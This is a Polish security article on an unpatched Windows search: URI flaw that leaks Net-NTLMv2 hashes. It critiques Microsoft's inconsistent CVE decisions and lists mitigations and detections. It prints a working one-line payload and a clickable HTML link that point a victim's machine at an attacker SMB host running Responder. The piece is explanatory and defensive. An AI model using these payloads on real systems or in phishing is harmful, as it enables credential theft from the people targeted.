Ten sam błąd. Ta sama ocena. Microsoft załatał jeden i odmówił drugiemu. Co dziura bez CVE mówi o łataniu według numerów.

14 kwietnia 2026 Microsoft załatał CVE-2026-33829 — wyciek poświadczeń NTLM w narzędziu Wycinek (Snipping Tool). Mechanizm: handler URI ms-screensketch: przyjmował parametr filePath bez walidacji i łączył się z dowolną ścieżką UNC, którą mu podano. Jedno kliknięcie spreparowanego linku, a komputer ofiary próbował „zameldować się" na serwerze atakującego — wyciekając hash Net-NTLMv2.

Dzień po tej łatce badacz Huntressa Andrew Schwartz zgłosił Microsoftowi ten sam błąd w innym miejscu Windowsa: handlerze search:, z parametrem crumb=location: zamiast filePath. Inna etykieta, identyczny skutek. Ten sam mechanizm wycieku NTLM, ten sam hash Net-NTLMv2, te same warunki wstępne, ta sama ocena Moderate.

Microsoft zamknął sprawę. Poniżej progu serwisowania. Bez CVE, bez łatki.

Ta sama klasa błędu, ten sam producent, ta sama ocena, przeciwny wynik. To jest cała historia — i ma konsekwencje dla każdego, kto łata według numerów CVE.

Jak to działa

Mechanizm jest tak prosty, że mieści się w jednej linii poleceń. Na maszynie ofiary — zwykły użytkownik, bez uprawnień administratora, Defender na ustawieniach domyślnych:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

Na maszynie atakującego — narzędzie Responder nasłuchujące na połączenia SMB. Sekunda po wykonaniu URI hash Net-NTLMv2 ofiary ląduje u atakującego.

Windows pokazuje użytkownikowi komunikat „Windows nie może uzyskać dostępu do określonego urządzenia, ścieżki lub pliku". Ten komunikat to potwierdzenie odbioru — hash opuścił maszynę, zanim Windows wyrenderował błąd. Ofiara widzi tylko komunikat o błędzie. Nie widzi, że jej poświadczenia już wyszły.

I — co kluczowe dla scenariusza phishingowego — kliknięcie linku działa tak samo jak polecenie w konsoli. Schwartz potwierdził to na żądanie recenzenta: <a href="search:query=test&crumb=location:\\...">click</a> w przeglądarce Edge. Jedno kliknięcie, żadnego potwierdzenia, hash u atakującego. Model zagrożenia to po prostu „wyślij link".

Hash wycieka raz na sesję logowania — pierwsze wywołanie działa, kolejne zwracają „access denied" do następnego zalogowania. Dla phishingu pierwszy strzał jest jedynym, który się liczy. I jest skuteczny.

Dwoje drzwi, jeden pokój

Jest tu techniczny szczegół, który tłumaczy, dlaczego ten błąd jest trudniejszy do zamknięcia, niż się wydaje — i dlaczego załatanie pokrewnego handlera nie pomoże.

Schematy search: i search-ms: są zarejestrowane osobno w rejestrze Windows, ale wskazują na tę samą linię poleceń i ten sam CLSID mechanizmu DelegateExecute. DelegateExecute mówi powłoce, żeby przekazała aktywację URI do klasy COM zamiast wykonywać polecenie bezpośrednio. Oba schematy wskazują na ten sam komponent — SearchExecute w bibliotece ExplorerFrame.dll.

To nie są dwa podobne handlery, które przypadkiem wyglądają tak samo. To dwa schematy URI podłączone do jednej ścieżki aktywacji COM. Konsekwencja: każda prawdziwa naprawa musi trafić do SearchExecute albo do kodu Explorera, który ten komponent wywołuje — nie na poziom schematu URI. Załatanie samego search-ms: nic by nie dało.

To jest istotne, bo pokazuje, że to nie jest jednorazowa wpadka w jednym narzędziu. To jest zachowanie wbudowane w powłokę systemu — w ExplorerFrame.dll, czyli dosłownie w Eksplorator Windows.

Sednem nie jest błąd. Sednem jest „case-by-case".

Sam wyciek NTLM przez handler URI nie jest nowy. Varonis udokumentował prymityw crumb=location: na search-ms: w 2024 — zamknięty jako Moderate, bez łatki. Handler search: jako wektor ataku opisał Trellix w 2023. Nowy jest sposób połączenia tych faktów — i to, co Microsoft odpowiedział, gdy mu je przedstawiono.

Schwartz zapytał MSRC wprost, co odróżnia jego zgłoszenie od załatanego CVE-2026-33829. Odpowiedź, dosłownie: „Zazwyczaj tylko przypadki o severity Important i Critical spełniają nasz próg serwisowania... Niestety w grę wchodzą różne czynniki, które czasami powodują wyjątek od naszych standardowych procesów."

Gdy Schwartz wskazał, że CVE-2026-33829 było samo ocenione jako Moderate, MSRC potwierdził: „Tak, CVE-2026-33829 jest oznaczone jako Moderate severity, dlatego wspomniałem, że nie jest naszym typowym procesem publikowanie CVE dla czegokolwiek poza Important/Critical."

Czyli: oba błędy są Moderate. Oba mają identyczny mechanizm i skutek. Jeden dostał CVE i łatkę, drugi nie — bo jeden był wyjątkiem, a drugi nie. To jest reguła, sformułowana wprost przez producenta. Tytuł, który Huntress nadał temu postowi, streszcza ją bez litości: „When Moderate Means Sometimes" — gdy Moderate znaczy czasami.

Dlaczego to powinno niepokoić każdego, kto zarządza łataniem

Tu jest teza, która wykracza poza ten jeden błąd — i która jest powodem, dla którego o tym piszemy.

Jeśli twój program zarządzania podatnościami triażuje według pytania „czy Microsoft wydał CVE", to załatałeś Wycinek w kwietniu i masz zerową widoczność tego wariantu — o identycznym skutku. Nie masz go w skanerach, bo nie ma numeru. Nie masz go w raportach zgodności, bo nie ma wpisu. Nie istnieje w żadnym systemie, który śledzi podatności po identyfikatorze — mimo że jest tak samo eksploatowalny jak błąd, który właśnie załatałeś.

Pisaliśmy przy CERT-In, że priorytetyzacja przez sam CVSS nie nadąża — że trzeba patrzeć na to, co jest faktycznie eksploatowane (KEV) i co najprawdopodobniej będzie (EPSS). Ten przypadek dodaje trzeci wymiar problemu: są realne, eksploatowalne błędy, które w ogóle nie dostają numeru CVE. Łatanie według CVE to nie jest pełna mapa zagrożeń. To jest mapa tego, co producent zdecydował się ponumerować.

Schwartz pisze to wprost: cokolwiek pojawi się następne w tej klasie, też może nie dostać CVE. Wyciek przez handler URI to klasa błędu z udokumentowaną historią — Varonis 2024, Trellix 2023, teraz wariant search: w 2026. Część dostała numery, część nie. Atakującego nie obchodzi, które.

To jest druga strona medalu, który opisywaliśmy przy Chaotic Eclipse i ChatGPhish. Tam producent odmawiał uznania błędu jako „nieodtwarzalny" albo badacz publikował bez koordynacji. Tu producent uznaje błąd, potwierdza jego ocenę, i mimo to świadomie nie wydaje łatki — bo procedura na to pozwala. Trzy różne historie, jeden wspólny wątek: relacja między badaczami a producentami, w której formalne kryteria rozjeżdżają się z faktycznym ryzykiem.

Jedna mitygacja zamyka całą klasę

Dobra wiadomość: nie trzeba czekać na łatkę, której nie będzie, żeby się zabezpieczyć.

Najważniejsza pojedyncza mitygacja: zablokuj wychodzący ruch SMB (TCP/445 i TCP/139) na hostach, które go nie potrzebują. To zamyka nie tylko ten błąd, ale całą rodzinę wycieków NTLM — hash nie ma jak wyjść do serwera atakującego, jeśli połączenie SMB na zewnątrz jest zablokowane.

Wymuszenie podpisywania SMB (SMB signing), żeby przechwycone hashe nie mogły być użyte w atakach relay przeciwko usługom wewnętrznym. Wyłączenie NTLM tam, gdzie to możliwe — RestrictSendingNTLMTraffic ustawione na 2 (Deny all), ale najpierw audyt, bo to popsuje rzeczy.

I detekcja: alertuj na URI search: i search-ms: w przepływie poczty i logach proxy. Żaden z nich nie ma legalnego zastosowania w normalnym ruchu. Jeśli już alertujesz na search-ms:, dodaj search: do tej samej reguły — składnia jest identyczna.

Źródła

Huntress — oryginalny research Andrew Schwartza „When Moderate Means Sometimes" z pełną osią czasu i cytatami MSRC: https://www.huntress.com/blog/unpatched-ntlm-leak-windows-search-uri-handler

The Hacker News — omówienie z potwierdzeniem odmowy serwisowania: https://thehackernews.com/2026/06/unpatched-windows-search-uri.html

CybersecurityNews — analiza wspólnej ścieżki COM i porównanie wektorów CVSS: https://cybersecuritynews.com/windows-search-uri-flaw-leaks-ntlmv2-hashes/

Varonis (2024) — pierwotna dokumentacja prymitywu crumb=location: na search-ms:: https://www.varonis.com/blog/outlook-vulnerability-new-ways-to-leak-ntlm-hashes